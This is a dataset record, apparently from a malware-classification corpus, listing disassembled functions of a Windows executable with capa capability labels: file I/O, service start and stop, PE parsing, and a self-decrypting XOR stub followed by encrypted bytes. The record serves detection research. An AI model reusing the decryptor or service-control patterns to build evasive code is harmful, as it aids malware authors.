joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4288a2
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push 0x34
mov eax, 0x432eb8
call fcn.00430dc8
push 0x40f7d0
call sub.msvcrt.dll_wprintf
mov ebx, dword [ebp + 0xc]
pop ecx
test ebx, ebx
je 0x428a80
xor edi, edi
push edi
push edi
push 3
push edi
push 1
push SysReAllocStringLen
push dword [ebx + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x24], 0x40e59c
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], edi
cmp esi, 0xffffffff
jne 0x428911
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x428904
movzx eax, ax
or eax, 0x80070000
push 0x40d280
push eax
call fcn.004241bf
pop ecx
pop ecx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
push dword [ebx + 0x14]
lea eax, [ebp - 0x30]
mov byte [ebp - 4], 1
push eax
call fcn.0042e7c7
cmp dword [ebp - 0x2c], 0
mov eax, edi
mov dword [ebp - 0x18], edi
jle 0x428a52
push eax
lea ecx, [ebp - 0x30]
call fcn.00427b1a
mov esi, eax
lea edi, [ebp - 0x40]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
push edi
push edi
push dword [ebp - 0x40]
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x42897f
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x428972
movzx eax, ax
or eax, 0x80070000
push 0x40d2d0
push eax
call fcn.004241bf
pop ecx
pop ecx
mov esi, dword [ebp - 0x38]
test esi, esi
je 0x428a3f
mov eax, 0x100000
mov edi, esi
cmp esi, eax
jb 0x428997
mov edi, eax
xor eax, eax
push eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push edi
push dword [eax + 0x5c]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4289d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x4289ca
movzx eax, ax
or eax, 0x80070000
push 0x40d328
push eax
call fcn.004241bf
pop ecx
pop ecx
cmp edi, dword [ebp - 0x10]
je 0x4289df
mov esi, dword [ebp - 0x10]
xor edi, edi
lea eax, [ebp - 0x14]
push edi
push eax
mov eax, dword [ebp + 8]
push dword [ebp - 0x10]
push dword [eax + 0x5c]
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x428a1b
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x428a0e
movzx eax, ax
or eax, 0x80070000
push 0x40d378
push eax
call fcn.004241bf
pop ecx
pop ecx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
je 0x428a37
push 0x40c7e8
push 0x8000ffff
call fcn.004241bf
mov eax, dword [ebp - 0x10]
pop ecx
pop ecx
sub esi, eax
jne 0x42898a
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, dword [ebp - 0x2c]
jl 0x428939
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebx + 4]
lea ecx, [ebp - 0x30]
call fcn.00429ae9
or dword [ebp - 4], 0xffffffff
cmp esi, 0xffffffff
je 0x428a6d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x24], 0x40e53c
test ebx, ebx
jne 0x4288c6
call fcn.00430d96
ret 8
Function at 0x428aa8
Capabilities:
Copy file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push dword [ebp + 0xc]
call fcn.00428bf7
cmp dword [ebp + 8], 0
je 0x428af3
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x428af3
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jg 0x428adb
mov ecx, eax
jmp 0x428ae4
movzx ecx, ax
or ecx, 0x80070000
push eax
push 0x40be68
push ecx
call fcn.00424ce6
add esp, 0xc
pop ebp
ret 8

Function at 0x428af7
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x437270]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
cmp dword [esi], 0
je 0x428be8
push 0x25
push dword [esi]
call dword [sym.imp.msvcrt.dll_wcschr]
pop ecx
pop ecx
test eax, eax
je 0x428be8
push ebx
mov ebx, 0x104
lea eax, [ebp - 0x20c]
push ebx
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x428b6f
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jg 0x428b55
mov ecx, eax
jmp 0x428b5e
movzx ecx, ax
or ecx, 0x80070000
push eax
push 0x40c400
push ecx
call fcn.004241bf
add esp, 0xc
jmp 0x428be7
cmp eax, ebx
ja 0x428b8c
push dword [esi]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
jmp 0x428be7
push edi
push 0x40e49c
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00430fdd
pop ecx
pop ecx
push ebx
mov edi, eax
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x428bde
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jg 0x428bc6
mov ecx, eax
jmp 0x428bcf
movzx ecx, ax
or ecx, 0x80070000
push eax
push 0x40c400
push ecx
call fcn.004241bf
add esp, 0xc
push edi
mov ecx, esi
call fcn.0041b366
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00430d80
leave
ret 4
Function at 0x428bf7
Capabilities:
Create directory

Disassembly:
push 0xc
mov eax, 0x432edb
call fcn.00430dc8
mov ebx, dword [ebp + 8]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov dword [ebp - 0x18], esi
xor edx, edx
lea ecx, [ebx + 2]
push 2
mov dword [ebp - 4], edx
pop edi
mov ax, word [ebx]
add ebx, edi
cmp ax, dx
jne 0x428c1d
sub ebx, ecx
xor ecx, ecx
sar ebx, 1
push 0x40e49c
lea eax, [ebx + 1]
mul edi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00430fdd
mov edi, eax
mov dword [ebp - 0x10], edi
pop ecx
pop ecx
test edi, edi
jne 0x428c60
push 0x40bdfc
push 0x8007000e
call fcn.004241bf
pop ecx
pop ecx
push 0x5c
pop eax
push eax
push esi
call dword [sym.imp.msvcrt.dll_wcsrchr]
pop ecx
pop ecx
test eax, eax
je 0x428ce0
mov edx, edi
sub edx, esi
mov dword [ebp - 0x14], edx
xor ecx, ecx
mov word [eax], cx
mov ecx, esi
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x428c7f
sub edi, 2
xor ecx, ecx
mov ax, word [edi + 2]
lea edi, [edi + 2]
cmp ax, cx
jne 0x428c93
mov eax, dword [0x40e5b8]
push ecx
push 0x2000000
push 3
push ecx
push 3
mov dword [edi], eax
mov edi, dword [ebp - 0x10]
push SysReAllocStringLen
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x428cd9
push 0x5c
push esi
call dword [sym.imp.msvcrt.dll_wcsrchr]
mov edx, dword [ebp - 0x14]
pop ecx
pop ecx
test eax, eax
jne 0x428c78
jmp 0x428ce0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00430822
pop ecx
mov ecx, esi
xor edi, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x428cee
sub ecx, edx
sar ecx, 1
push 0x5c
pop eax
mov word [esi + ecx*2], ax
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x428d09
jmp 0x428d73
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x428d48
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jg 0x428d30
mov ecx, eax
jmp 0x428d39
movzx ecx, ax
or ecx, 0x80070000
push eax
push 0x40be18
push ecx
call fcn.004241bf
add esp, 0xc
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x428d4d
sub ecx, edx
sar ecx, 1
push 0x5c
pop eax
mov word [esi + ecx*2], ax
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x428d68
sub ecx, edx
sar ecx, 1
cmp ecx, ebx
jb 0x428d16
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
call fcn.00430d96
ret 4
Function at 0x428ea9
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x437270]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, 0x210
lea eax, [ebp - 0x214]
push ebx
xor esi, esi
push esi
push eax
call sub.msvcrt.dll_memset
push ebx
lea eax, [ebp - 0x424]
push esi
push eax
call sub.msvcrt.dll_memset
add esp, 0x18
lea eax, [ebp - 0x214]
mov edi, 0x104
push edi
push eax
push 0x40d4c0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x428]
mov dword [ebp - 0x428], esi
push eax
push edi
lea eax, [ebp - 0x214]
push eax
call fcn.0042e423
test eax, eax
js 0x428f23
mov esi, dword [ebp - 0x428]
cmp esi, 1
jb 0x428f84
push 0x5c
pop eax
cmp word [ebp + esi*2 - 0x216], ax
je 0x428f57
cmp esi, edi
jae 0x428f84
mov word [ebp + esi*2 - 0x214], ax
lea eax, [esi*2 + 2]
cmp eax, ebx
jae 0x428f97
xor ecx, ecx
inc esi
mov word [ebp + eax - 0x214], cx
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x424]
push edi
push eax
call fcn.00410e37
lea ecx, [ebp - 0x214]
push ecx
lea ecx, [ebp - 0x424]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x428f84
mov al, 1
jmp 0x428f86
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00430d80
leave
ret 4
call fcn.004311ed
int3

Function at 0x429006
Capabilities:
Get file size
Read file on windows

Disassembly:
push 0x14
mov eax, 0x432f06
call fcn.00430dc8
push 0
sub esp, 0x10
lea esi, [ebp + 8]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00429239
mov ebx, eax
mov dword [ebp - 0x20], 0x40e59c
mov dword [ebp - 0x1c], ebx
and dword [ebp - 4], 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov dword [ebp - 0x10], esi
cmp esi, 0xffffffff
jne 0x42906e
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jg 0x429056
mov ecx, eax
jmp 0x42905f
movzx ecx, ax
or ecx, 0x80070000
push eax
push 0x40d988
push ecx
call fcn.004241bf
add esp, 0xc
mov edi, esi
shr edi, 1
push edi
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov esi, eax
mov dword [ebp - 0x14], esi
push 0
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 1
push eax
push dword [ebp - 0x10]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4290bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jg 0x4290a7
mov ecx, eax
jmp 0x4290b0
movzx ecx, ax
or ecx, 0x80070000
push eax
push 0x40d9d0
push ecx
call fcn.004241bf
add esp, 0xc
push dword [ebp + 0x18]
xor eax, eax
push esi
mov word [esi + edi*2], ax
call sub.VSSAPI.DLL_CreateVssExamineWriterMetadataInternal
mov edi, eax
test edi, edi
je 0x4290fa
push edi
call fcn.0042423d
push eax
push edi
push 0x40da10
push 0x95b
push 0x40bd3c
push 0x402cb8
push 1
call fcn.00424141
add esp, 0x1c
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
cmp ebx, 0xffffffff
je 0x42910d
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00430d96
ret 0x14
Function at 0x42972a
Capabilities:
Create directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x429849
mov ecx, esi
push edi
xor edi, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x429745
sub ecx, edx
sar ecx, 1
je 0x429848
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x42975f
sub ecx, edx
mov dword [ebp - 4], edi
sar ecx, 1
push ebx
push esi
lea ebx, [ecx*2 + 2]
call fcn.00428dfa
mov dword [ebp - 8], eax
test eax, eax
je 0x429847
push ebx
call dword [sym.imp.msvcrt.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
jne 0x4297a9
push 0x40d6d0
push 0x8007000e
call fcn.004241bf
pop ecx
pop ecx
push ebx
push esi
push edi
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 8]
add esp, 0xc
lea esi, [edi + eax*2]
movzx eax, word [esi]
test ax, ax
je 0x42983f
push 0x5c
pop ebx
movzx ecx, ax
test ax, ax
je 0x4297e4
movzx edx, ax
cmp dx, bx
je 0x4297e9
add esi, 2
movzx eax, word [esi]
mov edx, eax
mov ecx, eax
test ax, ax
jne 0x4297d0
cmp cx, bx
jne 0x4297f6
xor eax, eax
xor ebx, ebx
inc ebx
mov word [esi], ax
mov dword [ebp - 4], ebx
jmp 0x4297f9
mov ebx, dword [ebp - 4]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x429813
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x42983f
push 0x5c
test ebx, ebx
pop ebx
je 0x429826
xor eax, eax
mov word [esi], bx
mov dword [ebp - 4], eax
mov eax, ebx
jmp 0x429829
movzx eax, word [esi]
movzx ecx, ax
cmp ax, bx
jne 0x429837
add esi, 2
movzx ecx, word [esi]
movzx eax, cx
test cx, cx
jne 0x4297c5
push edi
call dword [sym.imp.msvcrt.dll_free]
pop ecx
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x42dd8e
Capabilities:
Enumerate files on windows

Disassembly:
push 0x270
mov eax, 0x433514
call fcn.00430e67
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x274], eax
mov eax, dword [ebp + 0xc]
push eax
mov dword [ebp - 0x27c], eax
mov dword [ebp - 0x278], ecx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x268], eax
xor ebx, ebx
lea ecx, [ebp - 0x268]
inc ebx
xor edi, edi
push ebx
push 0x40e5b8
mov dword [ebp - 4], edi
call fcn.004176dd
push esi
call fcn.0042405d
push eax
push esi
lea ecx, [ebp - 0x268]
call fcn.004176dd
mov esi, dword [ebp - 0x268]
lea eax, [ebp - 0x264]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x270], eax
cmp eax, 0xffffffff
je 0x42df71
mov byte [ebp - 4], bl
test byte [ebp - 0x264], 0x10
jne 0x42df4e
push dword [ebp - 0x278]
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x26c], eax
push esi
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [ebp - 0x27c]
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push ebx
push 0x40e5b8
lea ecx, [ebp - 0x268]
mov dword [ebp - 0x268], eax
call fcn.004176dd
lea ecx, [ebp - 0x238]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x42de70
sub ecx, edx
lea eax, [ebp - 0x238]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x268]
call fcn.004176dd
mov esi, dword [ebp - 0x274]
lea eax, [ebp - 0x238]
push dword [esi + 0x58]
push dword [esi + 0x54]
push eax
lea eax, [ebp - 0x26c]
push eax
call fcn.0042e470
test al, al
jne 0x42dee0
cmp dword [esi + 0x60], 4
je 0x42dee0
cmp dword [esi + 0x3c], 4
je 0x42dec7
cmp dword [esi + 0x60], 2
jne 0x42dee0
push dword [esi + 0x50]
lea eax, [ebp - 0x238]
push dword [esi + 0x4c]
push eax
lea eax, [ebp - 0x26c]
push eax
call fcn.0042e470
lea ecx, [ebp - 0x238]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x42dee9
sub ecx, edx
lea eax, [ebp - 0x238]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x26c]
call fcn.004176dd
push dword [ebp - 0x26c]
mov esi, dword [ebp - 0x268]
mov eax, dword [ebp - 0x274]
push esi
push eax
call fcn.0042dab4
push dword [ebp - 0x26c]
test al, al
jne 0x42df3f
cmp byte [0x438217], al
sete bl
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x42df71
mov byte [ebp - 4], bl
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 0x270]
lea ecx, [ebp - 0x264]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
mov eax, dword [ebp - 0x270]
jne 0x42de1a
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov al, bl
call fcn.00430db9
ret 0x10
Function at 0x42e1d0
Capabilities:
Query service status
Start service

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x437270]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x42e21c
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x42e20f
movzx eax, ax
or eax, 0x80070000
push 0x40bd64
push eax
call fcn.004241bf
pop ecx
pop ecx
push 0xf01ff
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x42e24e
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x42e241
movzx eax, ax
or eax, 0x80070000
push 0x40bd80
push eax
call fcn.004241bf
pop ecx
pop ecx
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x42e27a
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x42e26d
movzx eax, ax
or eax, 0x80070000
push 0x40bde0
push eax
call fcn.004241bf
pop ecx
pop ecx
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov ebx, 0x40bd98
jmp 0x42e2a0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x42e2bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x42e2b6
movzx eax, ax
or eax, 0x80070000
push ebx
push eax
call fcn.004241bf
pop ecx
pop ecx
cmp dword [ebp - 0x1c], 2
je 0x42e28c
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00430d80
leave
ret 4
Function at 0x42e2e4
Capabilities:
Query service status
Stop service

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x437270]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
mov ebx, 0x80070000
test edi, edi
jne 0x42e332
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x42e325
movzx eax, ax
or eax, ebx
push 0x40bd64
push eax
call fcn.004241bf
pop ecx
pop ecx
push 0xf01ff
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x42e36c
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x42e354
movzx eax, ax
or eax, ebx
push 0x40bd80
push eax
call fcn.004241bf
pop ecx
pop ecx
jmp 0x42e36c
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x42e397
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x42e38a
movzx eax, ax
or eax, ebx
push 0x40bd98
push eax
call fcn.004241bf
pop ecx
pop ecx
cmp dword [ebp - 0x1c], 1
je 0x42e412
cmp dword [ebp - 0x1c], 3
je 0x42e363
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x42e3fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x42e3c3
movzx eax, ax
or eax, ebx
push 0x40bdc0
jmp 0x42e3f6
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x42e3fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x42e3f1
movzx eax, ax
or eax, ebx
push 0x40bd98
push eax
call fcn.004241bf
pop ecx
pop ecx
cmp dword [ebp - 0x1c], 3
je 0x42e3ca
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00430d80
leave
ret 4
Function at 0x430b70
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x4368a0
call fcn.004315d8
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x438d38
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x430998
cmp eax, esi
jne 0x43098b
xor esi, esi
inc esi
mov edi, esi
jmp 0x43099b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x43096f
xor esi, esi
inc esi
cmp dword [0x438d3c], esi
jne 0x4309ad
push 0x1f
call fcn.005ac000
pop ecx
jmp 0x4309e7
cmp dword [0x438d3c], ebx
jne 0x4309e1
mov dword [0x438d3c], esi
push 0x40102c
push 0x401020
call fcn.00430acc
pop ecx
pop ecx
test eax, eax
je 0x4309e7
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x430abc
mov dword [0x438224], esi
cmp dword [0x438d3c], esi
jne 0x430a0a
push 0x40101c
push section..text
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x438d3c], 2
test edi, edi
jne 0x430a17
xor eax, eax
mov ecx, 0x438d38
xchg dword [ecx], eax
cmp dword [0x438d48], 0
je 0x430a43
push 0x438d48
call fcn.00431430
pop ecx
test eax, eax
je 0x430a43
push ebx
push 2
push ebx
mov esi, dword [0x438d48]
mov ecx, esi
call dword [0x4392d8]
call esi
push dword [0x438230]
push dword [0x43822c]
push dword [0x438228]
call fcn.004173e3
add esp, 0xc
mov dword [0x438220], eax
cmp dword [0x438238], 0
jne 0x430aa1
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x438224], 0
jne 0x430ab5
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x438220]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.00431525
jmp 0x430953

Function at 0x431314
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x436998
call fcn.004315d8
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x431374
cmp eax, 0xffffffff
je 0x431374
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x43136d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x43136d
cmp edx, 0x10000000
jae 0x43136d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x43136a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4313e0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x43141e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x431416
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x431420
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x431406
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4314f0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x431521
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x431521
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x431521
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x805c1c
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805c22
pop ebp
sub ebp, 6
sub ebp, 0x405c1c
jmp 0x805c80
jmp 0x805c89
mov eax, 0x405c1c
add eax, ebp
add eax, 0x93
mov ecx, 0x619
mov edx, 0xe9bbd367
xor byte [eax], dl
inc eax
dec ecx
jne 0x805ca0
jmp 0x805cb3
or eax, 0x77670f27
packuswb mm5, qword [bp + di + 0x674b]
push esp
cmpsd dword [esi], dword es:[edi]
aaa
cwde
mov dh, 0x51
aaa
in al, dx
stosb byte es:[edi], al
in al, dx
out dx, al
pop ebx
out 0xa6, al
lahf
stosb byte es:[di], al
fbld tbyte [ecx + 0x67]
fisttp qword [bx + 0x67]
nop
test dword [edi + ebp*4 - 0x14], esp
out 0x6b, al
mov byte fs:[0xf37], al
or al, 0x53
outsb dx, byte [esi]
bswap eax
inc eax
push eax
dec bx
inc ebx
packuswb mm4, qword [edi + 0x67]
invalid